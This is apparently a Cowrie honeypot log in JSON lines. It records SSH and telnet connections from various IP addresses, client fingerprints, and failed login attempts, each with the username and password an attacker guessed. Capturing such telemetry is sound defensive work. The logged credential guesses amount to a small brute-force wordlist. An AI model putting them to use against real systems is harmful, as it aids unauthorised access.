{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:58.673640Z","src_ip":"103.27.238.114","session":"593a96de81ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"politeh","message":"login attempt [root/politeh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:27:59.487495Z","src_ip":"103.27.238.114","session":"593a96de81ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:00.762118Z","src_ip":"103.27.238.114","session":"593a96de81ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":35758,"dst_ip":"159.203.135.109","dst_port":22,"session":"73685e6a86a0","protocol":"ssh","message":"New connection: 159.65.58.200:35758 (159.203.135.109:22) [session: 73685e6a86a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:27.996483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:28.296192Z","src_ip":"159.65.58.200","session":"73685e6a86a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:28.298958Z","src_ip":"159.65.58.200","session":"73685e6a86a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"starikov","password":"123456","message":"login attempt [starikov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:29.997054Z","src_ip":"159.65.58.200","session":"73685e6a86a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:31.392533Z","src_ip":"159.65.58.200","session":"73685e6a86a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01478219032288,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:45.009417Z","src_ip":"167.172.116.158","session":"9e1170c8e21d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37798,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b465dd94820","protocol":"ssh","message":"New connection: 91.92.40.4:37798 (10.17.0.5:22) [session: 0b465dd94820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:46.704188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:46.707891Z","src_ip":"91.92.40.4","session":"0b465dd94820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:46.789544Z","src_ip":"91.92.40.4","session":"0b465dd94820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"password","message":"login attempt [hadoop/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:47.145920Z","src_ip":"91.92.40.4","session":"0b465dd94820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:48.228857Z","src_ip":"91.92.40.4","session":"0b465dd94820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":34390,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fe57099babb","protocol":"ssh","message":"New connection: 8.210.75.243:34390 (10.17.0.5:22) [session: 6fe57099babb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:51.599967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:51.604613Z","src_ip":"8.210.75.243","session":"6fe57099babb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:51.805492Z","src_ip":"8.210.75.243","session":"6fe57099babb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:52.407848Z","src_ip":"8.210.75.243","session":"6fe57099babb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":33176,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e39c2a365e7","protocol":"ssh","message":"New connection: 162.144.105.39:33176 (10.17.0.5:22) [session: 4e39c2a365e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:54.800270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:54.804244Z","src_ip":"162.144.105.39","session":"4e39c2a365e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:54.886161Z","src_ip":"162.144.105.39","session":"4e39c2a365e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"NEO$Tr0ng@P@ss","message":"login attempt [root/NEO$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:55.133138Z","src_ip":"162.144.105.39","session":"4e39c2a365e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:28:56.218940Z","src_ip":"162.144.105.39","session":"4e39c2a365e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":48800,"dst_ip":"159.203.135.109","dst_port":22,"session":"6918319a833d","protocol":"ssh","message":"New connection: 182.93.7.194:48800 (159.203.135.109:22) [session: 6918319a833d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:16.999610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:17.003677Z","src_ip":"182.93.7.194","session":"6918319a833d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:17.215363Z","src_ip":"182.93.7.194","session":"6918319a833d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"123456","message":"login attempt [sniper/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:18.095162Z","src_ip":"182.93.7.194","session":"6918319a833d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:19.309878Z","src_ip":"182.93.7.194","session":"6918319a833d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.18.100","src_port":35208,"dst_ip":"10.17.0.5","dst_port":22,"session":"64e76c00fdfe","protocol":"ssh","message":"New connection: 206.189.18.100:35208 (10.17.0.5:22) [session: 64e76c00fdfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:20.869407Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:21.011301Z","src_ip":"206.189.18.100","session":"64e76c00fdfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40778,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aa3fa957b44","protocol":"telnet","message":"New connection: 170.64.224.25:40778 (159.203.135.109:23) [session: 9aa3fa957b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:23.193990Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52000,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f702158d2bc","protocol":"ssh","message":"New connection: 8.210.75.243:52000 (10.17.0.5:22) [session: 6f702158d2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:26.194458Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42626,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8e84e2d3578","protocol":"telnet","message":"New connection: 170.64.224.25:42626 (159.203.135.109:23) [session: b8e84e2d3578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:38.086898Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":47952,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f6ce58687d3","protocol":"ssh","message":"New connection: 8.210.75.243:47952 (10.17.0.5:22) [session: 0f6ce58687d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:38.109834Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":43424,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6a747510851","protocol":"ssh","message":"New connection: 162.240.218.183:43424 (159.203.135.109:22) [session: f6a747510851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:48.666677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:48.671000Z","src_ip":"162.240.218.183","session":"f6a747510851","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:48.803437Z","src_ip":"162.240.218.183","session":"f6a747510851","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blofin","password":"blofin123","message":"login attempt [blofin/blofin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:49.117227Z","src_ip":"162.240.218.183","session":"f6a747510851","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:50.537601Z","src_ip":"162.240.218.183","session":"f6a747510851","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":48212,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2992ca9ff4d","protocol":"ssh","message":"New connection: 162.214.5.224:48212 (10.17.0.5:22) [session: d2992ca9ff4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:51.275801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:51.278795Z","src_ip":"162.214.5.224","session":"d2992ca9ff4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:51.377503Z","src_ip":"162.214.5.224","session":"d2992ca9ff4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kathleen","password":"Tezos@S3cur3#P@ssw0rd","message":"login attempt [kathleen/Tezos@S3cur3#P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:51.653042Z","src_ip":"162.214.5.224","session":"d2992ca9ff4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:29:52.744551Z","src_ip":"162.214.5.224","session":"d2992ca9ff4d","protocol":"ssh"}
